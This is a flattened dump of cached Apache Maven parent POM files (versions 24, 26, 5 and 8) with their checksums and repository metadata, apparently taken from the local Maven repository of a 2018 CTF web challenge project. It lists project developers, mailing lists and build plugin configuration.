http://www.apache.org/licenses/LICENSE-2.0.txt repo stephenc Stephen Connolly stephenc@apache.org PMC Chair 0 aheritier Arnaud Héritier aheritier@apache.org PMC Member +1 baerrach Barrie Treloar baerrach@apache.org PMC Member Australia/Adelaide bimargulies Benson Margulies bimargulies@apache.org PMC Member America/New_York brett Brett Porter brett@apache.org ASF PMC Member +10 brianf Brian Fox brianf@apache.org Sonatype PMC Member -5 carlos Carlos Sanchez carlos@apache.org ASF PMC Member +1 dennisl Dennis Lundberg dennisl@apache.org ASF PMC Member +1 dfabulich Daniel Fabulich dfabulich@apache.org PMC Member -8 dkulp Daniel Kulp dkulp@apache.org ASF PMC Member -5 evenisse Emmanuel Venisse evenisse@apache.org ASF PMC Member +1 hboutemy Hervé Boutemy hboutemy@apache.org ASF PMC Member Europe/Paris jdcasey John Casey jdcasey@apache.org ASF PMC Member -6 krosenvold Kristian Rosenvold krosenvold@apache.org PMC Member +1 markh Mark Hobson markh@apache.org PMC Member 0 mkleint Milos Kleint PMC Member oching Maria Odea B. Ching PMC Member olamy Olivier Lamy olamy@apache.org PMC Member Australia/Melbourne pgier Paul Gier pgier@apache.org Red Hat PMC Member -6 rfscholte Robert Scholte rfscholte@apache.org PMC Member Europe/Amsterdam rgoers Ralph Goers rgoers@apache.org Intuit -8 PMC Member snicoll Stephane Nicoll snicoll@apache.org ASF PMC Member +1 struberg Mark Struberg struberg@apache.org PMC Member vsiveton Vincent Siveton vsiveton@apache.org ASF PMC Member -5 wfay Wayne Fay wfay@apache.org ASF PMC Member -6 agudian Andreas Gudian agudian@apache.org Committer Europe/Berlin andham Anders Hammar andham@apache.org +1 Committer bdemers Brian Demers Sonatype bdemers@apache.org -5 Committer bellingard Fabrice Bellingard Committer bentmann Benjamin Bentmann bentmann@apache.org Sonatype Committer +1 cstamas Tamas Cservenak Sonatype cstamas@apache.org +1 Committer dantran Dan Tran Committer dbradicich Damian Bradicich Sonatype dbradicich@apache.org -5 Committer fgiust Fabrizio Giustina fgiust@apache.org openmind Committer +1 godin Evgeny Mandrikov SonarSource godin@apache.org Committer +3 handyande Andrew Williams handyande@apache.org Committer 0 ifedorenko Igor Fedorenko igor@ifedorenko.com Sonatype Committer -5 imod Dominik Bartholdi imod@apache.org Committer Europe/Zurich jjensen Jeff Jensen Committer jvanzyl Jason van Zyl Committer -5 khmarbaise Karl Heinz Marbaise khmarbaise@apache.org Committer +1 ltheussl Lukas Theussl ltheussl@apache.org Committer +1 mauro Mauro Talevi Committer mfriedenhagen Mirko Friedenhagen mfriedenhagen@apache.org Committer +1 michaelo Michael Osipov michaelo@apache.org Committer Europe/Berlin nicolas Nicolas de Loof Committer rafale Raphaël Piéroni rafale@apache.org Dexem Committer +1 simonetripodi Simone Tripodi simonetripodi@apache.org Committer +1 tchemit Tony Chemit tchemit@apache.org CodeLutin Committer Europe/Paris vmassol Vincent Massol vmassol@apache.org ASF Committer +1 aramirez Allan Q. Ramirez Emeritus bayard Henri Yandell Emeritus chrisjs Chris Stevenson Emeritus dblevins David Blevins Emeritus dlr Daniel Rall Emeritus epunzalan Edwin Punzalan epunzalan@apache.org Emeritus -8 felipeal Felipe Leme Emeritus jmcconnell Jesse McConnell jmcconnell@apache.org ASF Emeritus -6 joakime Joakim Erdfelt joakime@apache.org ASF Emeritus -5 jstrachan James Strachan Emeritus jtolentino Ernesto Tolentino Jr. jtolentino@apache.org ASF Emeritus +8 mperham Mike Perham mperham@gmail.com IBM Emeritus -6 ogusakov Oleg Gusakov Emeritus pschneider Patrick Schneider pschneider@gmail.com Emeritus -6 ptahchiev Petar Tahchiev ptahchiev@apache.org Emeritus +2 rinku Rahul Thakur Emeritus shinobu Shinobu Kuwai Emeritus smorgrav Torbjorn Eikli Smorgrav Emeritus trygvis Trygve Laugstol trygvis@apache.org ASF Emeritus +1 wsmoak Wendy Smoak wsmoak@apache.org Emeritus -7 jruiz Johnny Ruiz III jruiz@apache.org Emeritus kenney Kenney Westerhof kenney@apache.org Neonics Emeritus +1 Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://maven.40175.n5.nabble.com/Maven-Users-f40176.html http://maven-users.markmail.org/ Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://maven.40175.n5.nabble.com/Maven-Developers-f142166.html http://maven-dev.markmail.org/ Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Issues-f219593.html http://maven-issues.markmail.org/ Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-commits/ http://www.mail-archive.com/commits@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Commits-f277168.html http://maven-commits.markmail.org/ Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Announcements-f326045.html http://maven-announce.markmail.org/ Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Notifications-f301718.html http://maven-notifications.markmail.org/ scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-24 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-24 http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-24 Jenkins https://builds.apache.org/view/M-R/view/Maven mail
      notifications@maven.apache.org
      apache.website scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path} 1.5 1.5 https://analysis.apache.org/ ${user.home}/maven-sites ../.. org.codehaus.plexus plexus-component-annotations 1.5.5 org.apache.maven.plugin-tools maven-plugin-annotations 3.2 provided apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugins maven-compiler-plugin ${maven.compiler.source} ${maven.compiler.target} org.apache.maven.plugins maven-plugin-plugin 3.2 true org.codehaus.modello modello-maven-plugin 1.8.1 true org.apache.maven.plugins maven-scm-publish-plugin ${maven.site.cache}/${maven.site.path} true org.codehaus.plexus plexus-maven-plugin 1.3.8 org.codehaus.plexus plexus-component-metadata 1.5.5 org.codehaus.mojo findbugs-maven-plugin 2.5.3 org.apache.maven.plugins maven-release-plugin 2.5 true apache-release,rat deploy ${arguments} maven-enforcer-plugin enforce-bytecode-version enforce 1.5 true ban-known-bad-maven-versions enforce (,2.1.0),(2.1.0,2.2.0),(2.2.0,) Maven 2.1.0 and 2.2.0 produce incorrect GPG signatures and checksums respectively. (,3.0),[3.0.4,) Maven 3.0 through 3.0.3 inclusive do not pass correct settings.xml to Maven Release Plugin. org.codehaus.mojo extra-enforcer-rules 1.0-beta-2 org.apache.maven.plugins maven-project-info-reports-plugin 2.7 false index summary dependency-info modules license project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim plugin-management plugins distribution-management apache-release org.apache.rat apache-rat-plugin true check check true rat org.apache.rat apache-rat-plugin verify rat quality-checks quality-checks true org.apache.maven.plugins maven-pmd-plugin 3.1 1.5 rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin cpd-check verify cpd-check reporting org.apache.maven.plugins maven-project-info-reports-plugin 2.7 org.apache.maven.plugins maven-surefire-report-plugin 2.16 org.apache.maven.plugins maven-checkstyle-plugin 2.12 config/maven_checks.xml config/maven-header.txt default checkstyle org.apache.maven.plugins maven-pmd-plugin 3.1 1.5 rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.apache.maven.plugins maven-jxr-plugin 2.4 default jxr test-jxr org.codehaus.mojo taglist-maven-plugin 2.4 org.apache.maven.plugins maven-javadoc-plugin 2.9.1 true http://commons.apache.org/proper/commons-collections/javadocs/api-release http://junit.org/javadoc/4.10/ http://logging.apache.org/log4j/1.2/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ true org.apache.maven.plugin-tools maven-plugin-tools-javadoc 3.2 org.codehaus.plexus plexus-javadoc 1.0 default javadoc test-javadoc org.codehaus.mojo findbugs-maven-plugin 2.5.3 org.codehaus.sonar-plugins maven-report 0.1
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/24/maven-parent-24.pom.sha1 ================================================ 277cf98c25de4d7512aa6403635810c1018e82b0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/26/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:33 CST 2018 maven-parent-26.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/26/maven-parent-26.pom ================================================ 4.0.0 org.apache apache 16 ../asf/pom.xml org.apache.maven maven-parent 26 pom Apache Maven Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information. http://maven.apache.org/ 2002 hboutemy Hervé Boutemy hboutemy@apache.org ASF PMC Chair Europe/Paris aheritier Arnaud Héritier aheritier@apache.org PMC Member +1 baerrach Barrie Treloar baerrach@apache.org PMC Member Australia/Adelaide bimargulies Benson Margulies bimargulies@apache.org PMC Member America/New_York brett Brett Porter brett@apache.org ASF PMC Member +10 brianf Brian Fox brianf@apache.org Sonatype PMC Member -5 carlos Carlos Sanchez carlos@apache.org ASF PMC Member +1 dennisl Dennis Lundberg dennisl@apache.org ASF PMC Member +1 dfabulich Daniel Fabulich dfabulich@apache.org PMC Member -8 dkulp Daniel Kulp dkulp@apache.org ASF PMC Member -5 evenisse Emmanuel Venisse evenisse@apache.org ASF PMC Member +1 jdcasey John Casey jdcasey@apache.org ASF PMC Member -6 jvanzyl Jason van Zyl PMC Member -5 khmarbaise Karl Heinz Marbaise khmarbaise@apache.org PMC Member +1 krosenvold Kristian Rosenvold krosenvold@apache.org PMC Member +1 markh Mark Hobson markh@apache.org PMC Member 0 mkleint Milos Kleint PMC Member oching Maria Odea B. Ching PMC Member olamy Olivier Lamy olamy@apache.org PMC Member Australia/Melbourne pgier Paul Gier pgier@apache.org Red Hat PMC Member -6 rfscholte Robert Scholte rfscholte@apache.org PMC Member Europe/Amsterdam rgoers Ralph Goers rgoers@apache.org Intuit -8 PMC Member snicoll Stephane Nicoll snicoll@apache.org ASF PMC Member +1 stephenc Stephen Connolly stephenc@apache.org PMC Member 0 struberg Mark Struberg struberg@apache.org PMC Member vsiveton Vincent Siveton vsiveton@apache.org ASF PMC Member -5 wfay Wayne Fay wfay@apache.org ASF PMC Member -6 agudian Andreas Gudian agudian@apache.org Committer Europe/Berlin andham Anders Hammar andham@apache.org +1 Committer bdemers Brian Demers Sonatype bdemers@apache.org -5 Committer bellingard Fabrice Bellingard Committer bentmann Benjamin Bentmann bentmann@apache.org Sonatype Committer +1 cstamas Tamas Cservenak Sonatype cstamas@apache.org +1 Committer dantran Dan Tran dantran@apache.org -8 Committer dbradicich Damian Bradicich Sonatype dbradicich@apache.org -5 Committer fgiust Fabrizio Giustina fgiust@apache.org openmind Committer +1 godin Evgeny Mandrikov SonarSource godin@apache.org Committer +3 handyande Andrew Williams handyande@apache.org Committer 0 ifedorenko Igor Fedorenko igor@ifedorenko.com Sonatype Committer -5 imod Dominik Bartholdi imod@apache.org Committer Europe/Zurich jjensen Jeff Jensen Committer ltheussl Lukas Theussl ltheussl@apache.org Committer +1 mauro Mauro Talevi Committer mfriedenhagen Mirko Friedenhagen mfriedenhagen@apache.org Committer +1 michaelo Michael Osipov michaelo@apache.org Committer Europe/Berlin nicolas Nicolas de Loof Committer rafale Raphaël Piéroni rafale@apache.org Dexem Committer +1 simonetripodi Simone Tripodi simonetripodi@apache.org Committer +1 tchemit Tony Chemit tchemit@apache.org CodeLutin Committer Europe/Paris tibordigana Tibor Digaňa tibordigana@apache.org Committer Europe/Bratislava vmassol Vincent Massol vmassol@apache.org ASF Committer +1 aramirez Allan Q. Ramirez Emeritus bayard Henri Yandell Emeritus chrisjs Chris Stevenson Emeritus dblevins David Blevins Emeritus dlr Daniel Rall Emeritus epunzalan Edwin Punzalan epunzalan@apache.org Emeritus -8 felipeal Felipe Leme Emeritus jmcconnell Jesse McConnell jmcconnell@apache.org ASF Emeritus -6 joakime Joakim Erdfelt joakime@apache.org ASF Emeritus -5 jstrachan James Strachan Emeritus jtolentino Ernesto Tolentino Jr. jtolentino@apache.org ASF Emeritus +8 mperham Mike Perham mperham@gmail.com IBM Emeritus -6 ogusakov Oleg Gusakov Emeritus pschneider Patrick Schneider pschneider@gmail.com Emeritus -6 ptahchiev Petar Tahchiev ptahchiev@apache.org Emeritus +2 rinku Rahul Thakur Emeritus shinobu Shinobu Kuwai Emeritus smorgrav Torbjorn Eikli Smorgrav Emeritus trygvis Trygve Laugstol trygvis@apache.org ASF Emeritus +1 wsmoak Wendy Smoak wsmoak@apache.org Emeritus -7 jruiz Johnny Ruiz III jruiz@apache.org Emeritus kenney Kenney Westerhof kenney@apache.org Neonics Emeritus +1 Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://maven.40175.n5.nabble.com/Maven-Users-f40176.html http://maven-users.markmail.org/ Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://maven.40175.n5.nabble.com/Maven-Developers-f142166.html http://maven-dev.markmail.org/ Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Issues-f219593.html http://maven-issues.markmail.org/ Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-commits/ http://www.mail-archive.com/commits@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Commits-f277168.html http://maven-commits.markmail.org/ Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Announcements-f326045.html http://maven-announce.markmail.org/ Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Notifications-f301718.html http://maven-notifications.markmail.org/ scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-26 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-26 http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-26 Jenkins https://builds.apache.org/view/M-R/view/Maven mail
      notifications@maven.apache.org
      apache.website scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path} 1.5 1.5 https://analysis.apache.org/ ${user.home}/maven-sites ../.. 3.3 RedundantThrows,NewlineAtEndOfFile,ParameterNumber,MethodLength,FileLength org.codehaus.plexus plexus-component-annotations 1.5.5 org.apache.maven.plugin-tools maven-plugin-annotations ${mavenPluginToolsVersion} provided apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugins maven-compiler-plugin ${maven.compiler.source} ${maven.compiler.target} org.apache.maven.plugins maven-plugin-plugin ${mavenPluginToolsVersion} true org.codehaus.modello modello-maven-plugin 1.8.1 true org.apache.maven.plugins maven-site-plugin scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path} org.apache.maven.plugins maven-scm-publish-plugin ${maven.site.cache}/${maven.site.path} true org.codehaus.plexus plexus-maven-plugin 1.3.8 org.codehaus.plexus plexus-component-metadata 1.5.5 org.apache.maven.plugins maven-release-plugin 2.5.1 true apache-release deploy ${arguments} org.codehaus.mojo findbugs-maven-plugin 2.5.5 org.apache.maven.plugins maven-checkstyle-plugin 2.13 config/maven_checks.xml config/maven-header.txt src/main/java src/test/java org.apache.maven.plugins maven-checkstyle-plugin checkstyle-check check org.apache.maven.plugins maven-enforcer-plugin enforce-bytecode-version enforce ${maven.compiler.target} true ban-known-bad-maven-versions enforce (,2.1.0),(2.1.0,2.2.0),(2.2.0,) Maven 2.1.0 and 2.2.0 produce incorrect GPG signatures and checksums respectively. (,3.0),[3.0.4,) Maven 3.0 through 3.0.3 inclusive do not pass correct settings.xml to Maven Release Plugin. org.codehaus.mojo extra-enforcer-rules 1.0-beta-3 org.apache.rat apache-rat-plugin rat-check check DEPENDENCIES org.apache.maven.plugins maven-project-info-reports-plugin 2.7 false index summary dependency-info modules project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim plugin-management plugins distribution-management quality-checks quality-checks true org.apache.maven.plugins maven-pmd-plugin 3.1 ${maven.compiler.source} rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin cpd-check verify cpd-check reporting org.apache.maven.plugins maven-project-info-reports-plugin 2.7 org.apache.maven.plugins maven-surefire-report-plugin 2.17 org.apache.maven.plugins maven-checkstyle-plugin 2.13 default checkstyle org.apache.maven.plugins maven-pmd-plugin 3.1 ${maven.compiler.source} rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.apache.maven.plugins maven-jxr-plugin 2.4 default jxr test-jxr org.codehaus.mojo taglist-maven-plugin 2.4 FIXME Work fixme ignoreCase @fixme ignoreCase Todo Work todo ignoreCase @todo ignoreCase Deprecated Work @deprecated ignoreCase org.apache.maven.plugins maven-javadoc-plugin 2.9.1 true true http://commons.apache.org/proper/commons-collections/javadocs/api-release http://junit.org/javadoc/4.10/ http://logging.apache.org/log4j/1.2/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ true org.apache.maven.plugin-tools maven-plugin-tools-javadoc ${mavenPluginToolsVersion} org.codehaus.plexus plexus-javadoc 1.0 default javadoc test-javadoc org.codehaus.mojo findbugs-maven-plugin 2.5.5 org.codehaus.sonar-plugins maven-report 0.1
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/26/maven-parent-26.pom.sha1 ================================================ c33a248bd35b9d6b6fbcbe7061a30bb9d422dc42 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:23 CST 2018 maven-parent-5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/5/maven-parent-5.pom ================================================ 4.0.0 org.apache apache 3 ../asf/pom.xml org.apache.maven maven-parent 5 pom Apache Maven Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information. http://maven.apache.org/ jira http://jira.codehaus.org/browse/MPA continuum http://maven.zones.apache.org/continuum mail
      notifications@maven.apache.org
      2002 Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ Maven Issues List issues@maven.apache.org issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ Maven Notifications List notifications@maven.apache.org notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ jvanzyl Jason van Zyl jason@maven.org ASF PMC Chair -5 brett Brett Porter brett@apache.org ASF PMC Member +10 evenisse Emmanuel Venisse evenisse@apache.org ASF PMC Member +1 kenney Kenney Westerhof kenney@apache.org Neonics PMC Member +1 snicoll Stephane Nicoll snicoll@apache.org ASF PMC Member +1 vmassol Vincent Massol vmassol@apache.org ASF PMC Member +1 fgiust Fabrizio Giustina fgiust@apache.org openmind PMC Member +1 epunzalan Edwin Punzalan epunzalan@mergere.com Mergere Committer +8 mperham Mike Perham mperham@gmail.com IBM PMC Member -6 jdcasey John Casey jdcasey@apache.org ASF PMC Member -5 trygvis Trygve Laugstol trygvis@apache.org ASF PMC Member +1 vsiveton Vincent Siveton vsiveton@apache.org ASF PMC Member -5 carlos Carlos Sanchez carlos@apache.org ASF PMC Member +1 dennisl Dennis Lundberg dennisl@apache.org ASF PMC Member +1 aheritier Arnaud Heritier aheritier@apache.org ASF PMC Member +1 handyande Andrew Williams handyande@apache.org Committer 0 jtolentino Ernesto Tolentino Jr. jtolentino@apache.org ASF PMC Member +8 joakime Joakim Erdfelt joakime@apache.org ASF PMC Member -5 jmcconnell Jesse McConnell jmcconnell@apache.org ASF PMC Member -6 wsmoak Wendy Smoak wsmoak@apache.org Committer -7 apache.website scp://people.apache.org/www/maven.apache.org org.apache.maven.plugins maven-release-plugin 2.0-beta-4 https://svn.apache.org/repos/asf/maven/pom/tags false deploy -Prelease ci org.apache.maven.plugins maven-pmd-plugin cpd-check reporting org.apache.maven.plugins maven-surefire-report-plugin org.apache.maven.plugins maven-checkstyle-plugin http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt org.apache.maven.plugins maven-pmd-plugin org.codehaus.mojo cobertura-maven-plugin org.codehaus.mojo taglist-maven-plugin org.apache.maven.plugins maven-jxr-plugin org.apache.maven.plugins maven-javadoc-plugin http://java.sun.com/j2ee/1.4/docs/api http://java.sun.com/j2se/1.5.0/docs/api http://jakarta.apache.org/commons/collections/apidocs-COLLECTIONS_3_0/ http://jakarta.apache.org/commons/dbcp/apidocs/ http://jakarta.apache.org/commons/fileupload/apidocs/ http://jakarta.apache.org/commons/httpclient/apidocs/ http://jakarta.apache.org/commons/logging/apidocs/ http://jakarta.apache.org/commons/pool/apidocs/ http://www.junit.org/junit/javadoc/ http://logging.apache.org/log4j/docs/api/ http://jakarta.apache.org/regexp/apidocs/ http://jakarta.apache.org/velocity/api/ release maven-gpg-plugin 1.0-alpha-1 ${gpg.passphrase} sign true maven-deploy-plugin 2.3 ${deploy.altRepository} true maven-remote-resources-plugin 1.0-alpha-1 process org.apache:apache-jar-resource-bundle:1.0 org.apache.maven.plugins maven-source-plugin 2.0.2 attach-sources jar org.apache.maven.plugins maven-javadoc-plugin 2.2 attach-javadocs jar scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-5 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-5 https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-5
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/5/maven-parent-5.pom.sha1 ================================================ 5c1ab38decaca1ccd08294aeab135047ebbae00d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/8/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:09 CST 2018 maven-parent-8.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/8/maven-parent-8.pom ================================================ 4.0.0 org.apache apache 4 ../asf/pom.xml org.apache.maven maven-parent 8 pom Apache Maven Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information. http://maven.apache.org/ continuum http://maven.zones.apache.org/continuum mail
      notifications@maven.apache.org
      2002 Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://www.nabble.com/Maven-Announcements-f15617.html http://maven.announce.markmail.org/ Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://www.nabble.com/Maven---Notifications-f15574.html http://maven.notifications.markmail.org/ maven.staging scp://people.apache.org/www/people.apache.org/builds/maven/${project.version}/staging-repo apache.snapshots ${distMgmtSnapshotsName} ${distMgmtSnapshotsUrl} apache.website scp://people.apache.org/www/maven.apache.org org.apache.maven.plugins maven-remote-resources-plugin process org.apache:apache-jar-resource-bundle:1.3 org.apache.maven.plugins maven-compiler-plugin 2.0.2 1.4 1.4 org.apache.maven.plugins maven-deploy-plugin 2.3 org.apache.maven.plugins maven-install-plugin 2.2 org.apache.maven.plugins maven-gpg-plugin 1.0-alpha-4 org.apache.maven.plugins maven-jar-plugin 2.2 true true org.apache.maven.plugins maven-javadoc-plugin 2.3 org.apache.maven.plugins maven-release-plugin 2.0-beta-7 https://svn.apache.org/repos/asf/maven/pom/tags false deploy -Prelease org.apache.maven.plugins maven-remote-resources-plugin 1.0-beta-2 org.apache.maven.plugins maven-site-plugin 2.0-beta-6 org.apache.maven.plugins maven-source-plugin 2.0.4 org.apache.maven.plugins maven-surefire-plugin 2.4.2 ci org.apache.maven.plugins maven-pmd-plugin cpd-check reporting org.apache.maven.plugins maven-surefire-report-plugin org.apache.maven.plugins maven-checkstyle-plugin http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt org.apache.maven.plugins maven-pmd-plugin org.codehaus.mojo cobertura-maven-plugin org.codehaus.mojo taglist-maven-plugin org.apache.maven.plugins maven-jxr-plugin org.apache.maven.plugins maven-javadoc-plugin http://java.sun.com/j2se/1.4.2/docs/api http://java.sun.com/j2ee/1.4/docs/api http://java.sun.com/j2se/1.5.0/docs/api http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/ http://commons.apache.org/dbcp/apidocs/ http://commons.apache.org/fileupload/apidocs/ http://commons.apache.org/httpclient/apidocs/ http://commons.apache.org/logging/apidocs/ http://commons.apache.org/pool/apidocs/ http://junit.sourceforge.net/javadoc/ http://logging.apache.org/log4j/1.2/apidocs/ http://jakarta.apache.org/regexp/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ org.codehaus.mojo clirr-maven-plugin release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign true org.apache.maven.plugins maven-deploy-plugin ${deploy.altRepository} true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-8 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-8 http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-8 jvanzyl Jason van Zyl jason@maven.org ASF PMC Chair -5 aheritier Arnaud Heritier aheritier@apache.org OCTO Technology http://www.octo.com PMC Member +1 brett Brett Porter brett@apache.org ASF PMC Member +10 brianf Brian Fox brianf@apache.org ASF PMC Member -5 carlos Carlos Sanchez carlos@apache.org ASF PMC Member +1 dennisl Dennis Lundberg dennisl@apache.org ASF PMC Member +1 dfabulich Daniel Fabulich dfabulich@apache.org PMC Member -8 evenisse Emmanuel Venisse evenisse@apache.org ASF PMC Member +1 fgiust Fabrizio Giustina fgiust@apache.org openmind PMC Member +1 jdcasey John Casey jdcasey@apache.org ASF PMC Member -5 joakime Joakim Erdfelt joakime@apache.org ASF PMC Member -5 jstrachan James Strachan PMC Member jtolentino Ernesto Tolentino Jr. jtolentino@apache.org ASF PMC Member +8 jmcconnell Jesse McConnell jmcconnell@apache.org ASF PMC Member -6 kenney Kenney Westerhof kenney@apache.org Neonics PMC Member +1 ltheussl Lukas Theussl ltheussl@apache.org ASF PMC Member +1 mperham Mike Perham mperham@gmail.com IBM PMC Member -6 olamy Olivier Lamy olamy@apache.org PMC Member +1 snicoll Stephane Nicoll snicoll@apache.org ASF PMC Member +1 trygvis Trygve Laugstol trygvis@apache.org ASF PMC Member +1 vmassol Vincent Massol vmassol@apache.org ASF PMC Member +1 vsiveton Vincent Siveton vsiveton@apache.org ASF PMC Member -5 wsmoak Wendy Smoak wsmoak@apache.org PMC Member -7 aramirez Allan Q. Ramirez Committer baerrach Barrie Treloar Committer bayard Henri Yandell Committer bellingard Fabrice Bellingard Committer chrisjs Chris Stevenson Committer dantran Dan Tran Committer dblevins David Blevins Committer dkulp Daniel Kulp dkulp@apache.org IONA Committer -5 dlr Daniel Rall Committer epunzalan Edwin Punzalan epunzalan@apache.org Committer -8 felipeal Felipe Leme Committer handyande Andrew Williams handyande@apache.org Committer 0 hboutemy Herve Boutemy Committer jjensen Jeff Jensen Committer mkleint Milos Kleint Committer nicolas Nicolas De Loof nicolas@apache.org Capgemini Committer +1 oching Maria Odea B. Ching Committer pschneider Patrick Schneider pschneider@gmail.com Committer -6 rafale Raphaël Piéroni rafale@apache.org Dexem Committer +1 rgoers Ralph Goers Committer rinku Rahul Thakur Committer shinobu Shinobu Kuwai Committer smorgrav Torbjorn Eikli Smorgrav Committer Apache Development Snapshot Repository 